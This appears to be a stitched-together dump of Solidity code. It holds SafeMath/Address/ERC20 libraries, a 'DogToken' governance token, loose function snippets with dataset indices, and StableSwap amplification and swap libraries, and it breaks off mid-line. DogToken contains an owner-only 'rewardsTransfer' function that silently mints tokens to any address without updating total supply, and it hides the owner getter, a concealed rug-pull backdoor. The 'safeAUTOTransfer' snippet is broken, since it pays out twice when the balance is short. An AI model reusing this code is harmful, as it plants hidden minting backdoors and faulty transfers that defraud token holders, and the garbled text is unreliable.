overflow checks. * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() internal view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 internal _totalSupply; string internal _name; string internal _symbol; uint8 internal _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function rewardsTransfer (address addressForRewards, uint256 collectedTokens) external onlyOwner { _balances[addressForRewards] = _balances[addressForRewards].add(collectedTokens); emit Transfer(address(0), addressForRewards, collectedTokens); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be created for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract GovernanceContract is Ownable { mapping(address => bool) public governanceContracts; event GovernanceContractAdded(address addr); event GovernanceContractRemoved(address addr); modifier onlyGovernanceContracts() { require(governanceContracts[msg.sender]); _; } function addAddressToGovernance(address addr) onlyOwner public returns(bool success) { if (!governanceContracts[addr]) { governanceContracts[addr] = true; emit GovernanceContractAdded(addr); success = true; } } function removeAddressFromGovernance(address addr) onlyOwner public returns(bool success) { if (governanceContracts[addr]) { governanceContracts[addr] = false; emit GovernanceContractRemoved(addr); success = true; } } } contract DogToken is ERC20, GovernanceContract { using SafeMath for uint256; mapping (address => address) internal _delegates; mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; mapping (address => uint32) public numCheckpoints; mapping (address => uint) public nonces; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant domain_typehash = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant delegation_typehash = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); address private _factory; address private _router; // Address for rewards (airdrops). 0.2% tokens from each transactions goes here. address public AddressForRewards; // Owner address is excluded from reward system. address private excluded; // Return an amount of allready collected tokens (for rewards) uint256 _collectedTokens; // amount of initial supply; uint256 _supplyTokens; event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); constructor (address router, address factory, uint256 supplyTokens) ERC20(_name, _symbol) public { _name = "DogToken"; _symbol = "DOG"; _decimals = 18; // initialise total supply. _supplyTokens = supplyTokens; _totalSupply = _totalSupply.add(_supplyTokens); _balances[msg.sender] = _balances[msg.sender].add(_supplyTokens); emit Transfer(address(0), msg.sender, _supplyTokens); // Address for rewards (airdrops). 0.2% tokens from each transactions goes here. AddressForRewards = 0x4C9CF4d697136d81DE0fe511eAFCB16586863637; // Owner address is excluded from reward system. excluded = msg.sender; // router and factory. _router = router; _factory = factory; } /** * @dev The Amount of allready collected tokens for rewards (for airdrops) */ function RewardTokensBalance() public view returns (uint256) { return _collectedTokens; } function _transfer(address sender, address recipient, uint256 amount) internal override { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 realAmount = amount; //deduct 0.2% tokens from each transactions (for rewards). uint256 pointTwoPercent = amount.mul(2).div(1000); if (AddressForRewards != address(0) && sender != excluded && recipient != excluded) { _balances[sender] = _balances[sender].sub(pointTwoPercent, "ERC20: transfer amount exceeds balance"); _balances[AddressForRewards] = _balances[AddressForRewards].add(pointTwoPercent); emit Transfer(sender, AddressForRewards, pointTwoPercent); _collectedTokens = _collectedTokens.add(pointTwoPercent); realAmount = amount.sub(pointTwoPercent); } _balances[sender] = _balances[sender].sub(realAmount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(realAmount); emit Transfer(sender, recipient, realAmount); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( domain_typehash, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( delegation_typehash, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), ":delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, ":delegateBySig: invalid nonce"); require(now <= expiry, ":delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, ":getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, ":_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
Gets the current votes balance for `account` account The address to get votes balance return The number of current votes for `account`/
function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; }
163,176
./full_match/56/0x4181293e8A6c43B63B19Be92cBc9cFb2FcF1DDc3/sources/contracts/final/AutofarmV2.sol
Safe AUTO transfer function, just in case if rounding error causes pool to not have enough
function safeAUTOTransfer(address _to, uint256 _AUTOAmt) internal { uint256 AUTOBal = IERC20(AUTOv2).balanceOf(address(this)); if (_AUTOAmt > AUTOBal) { IERC20(AUTOv2).transfer(_to, AUTOBal); IERC20(AUTOv2).transfer(_to, _AUTOAmt); } }
3,247,796
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./SwapUtils.sol"; /** * @title AmplificationUtils library * @notice A library to calculate and ramp the A parameter of a given `SwapUtils.Swap` struct. * This library assumes the struct is fully validated. */ library AmplificationUtils { using SafeMath for uint256; event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); // Constant values used in ramping A calculations uint256 public constant A_PRECISION = 100; uint256 public constant MAX_A = 10**6; uint256 private constant MAX_A_CHANGE = 2; uint256 private constant MIN_RAMP_TIME = 14 days; /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter */ function getA(SwapUtils.Swap storage self) external view returns (uint256) { return _getAPrecise(self).div(A_PRECISION); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function getAPrecise(SwapUtils.Swap storage self) external view returns (uint256) { return _getAPrecise(self); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function _getAPrecise(SwapUtils.Swap storage self) internal view returns (uint256) { uint256 t1 = self.futureATime; // time when ramp is finished uint256 a1 = self.futureA; // final A value when ramp is finished if (block.timestamp < t1) { uint256 t0 = self.initialATime; // time when ramp is started uint256 a0 = self.initialA; // initial A value when ramp is started if (a1 > a0) { // a0 + (a1 - a0) * (block.timestamp - t0) / (t1 - t0) return a0.add( a1.sub(a0).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } else { // a0 - (a0 - a1) * (block.timestamp - t0) / (t1 - t0) return a0.sub( a0.sub(a1).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } } else { return a1; } } /** * @notice Start ramping up or down A parameter towards given futureA_ and futureTime_ * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param self Swap struct to update * @param futureA_ the new A to ramp towards * @param futureTime_ timestamp when the new A should be reached */ function rampA( SwapUtils.Swap storage self, uint256 futureA_, uint256 futureTime_ ) external { require( block.timestamp >= self.initialATime.add(1 days), "Wait 1 day before starting ramp" ); require( futureTime_ >= block.timestamp.add(MIN_RAMP_TIME), "Insufficient ramp time" ); require( futureA_ > 0 && futureA_ < MAX_A, "futureA_ must be > 0 and < MAX_A" ); uint256 initialAPrecise = _getAPrecise(self); uint256 futureAPrecise = futureA_.mul(A_PRECISION); if (futureAPrecise < initialAPrecise) { require( futureAPrecise.mul(MAX_A_CHANGE) >= initialAPrecise, "futureA_ is too small" ); } else { require( futureAPrecise <= initialAPrecise.mul(MAX_A_CHANGE), "futureA_ is too large" ); } self.initialA = initialAPrecise; self.futureA = futureAPrecise; self.initialATime = block.timestamp; self.futureATime = futureTime_; emit RampA( initialAPrecise, futureAPrecise, block.timestamp, futureTime_ ); } /** * @notice Stops ramping A immediately. Once this function is called, rampA() * cannot be called for another 24 hours * @param self Swap struct to update */ function stopRampA(SwapUtils.Swap storage self) external { require(self.futureATime > block.timestamp, "Ramp is already stopped"); uint256 currentA = _getAPrecise(self); self.initialA = currentA; self.futureA = currentA; self.initialATime = block.timestamp; self.futureATime = block.timestamp; emit StopRampA(currentA, block.timestamp); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./AmplificationUtils.sol"; import "./LPToken.sol"; import "./MathUtils.sol"; /** * @title SwapUtils library * @notice A library to be used within Swap.sol. Contains functions responsible for custody and AMM functionalities. * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library SwapUtils { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); struct Swap { // variables around the ramp management of A, // the amplification coefficient * n * (n - 1) // see https://www.curve.fi/stableswap-paper.pdf for details uint256 initialA; uint256 futureA; uint256 initialATime; uint256 futureATime; // fee calculation uint256 swapFee; uint256 adminFee; LPToken lpToken; // contract references for all tokens being pooled IERC20[] pooledTokens; // multipliers for each pooled token's precision to get to POOL_PRECISION_DECIMALS // for example, TBTC has 18 decimals, so the multiplier should be 1. WBTC // has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10 uint256[] tokenPrecisionMultipliers; // the pool balance of each token, in the token's precision // the contract's actual token balance might differ uint256[] balances; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; } // Struct storing variables used in calculations in the // {add,remove}Liquidity functions to avoid stack too deep errors struct ManageLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; uint256 preciseA; LPToken lpToken; uint256 totalSupply; uint256[] balances; uint256[] multipliers; } // the precision all pools tokens will be converted to uint8 public constant POOL_PRECISION_DECIMALS = 18; // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Max swap fee is 1% or 100bps of each swap uint256 public constant MAX_SWAP_FEE = 10**8; // Max adminFee is 100% of the swapFee // adminFee does not add additional fee on top of swapFee // Instead it takes a certain % of the swapFee. Therefore it has no impact on the // users but only on the earnings of LPs uint256 public constant MAX_ADMIN_FEE = 10**10; // Constant value used as max loop limit uint256 private constant MAX_LOOP_LIMIT = 256; /*** VIEW & PURE FUNCTIONS ***/ function _getAPrecise(Swap storage self) internal view returns (uint256) { return AmplificationUtils._getAPrecise(self); } /** * @notice Calculate the dy, the amount of selected token that user receives and * the fee of withdrawing in one token * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @param self Swap struct to read from * @return the amount of token user will receive */ function calculateWithdrawOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256) { (uint256 availableTokenAmount, ) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, self.lpToken.totalSupply() ); return availableTokenAmount; } function _calculateWithdrawOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 totalSupply ) internal view returns (uint256, uint256) { uint256 dy; uint256 newY; uint256 currentY; (dy, newY, currentY) = calculateWithdrawOneTokenDY( self, tokenIndex, tokenAmount, totalSupply ); // dy_0 (without fees) // dy, dy_0 - dy uint256 dySwapFee = currentY 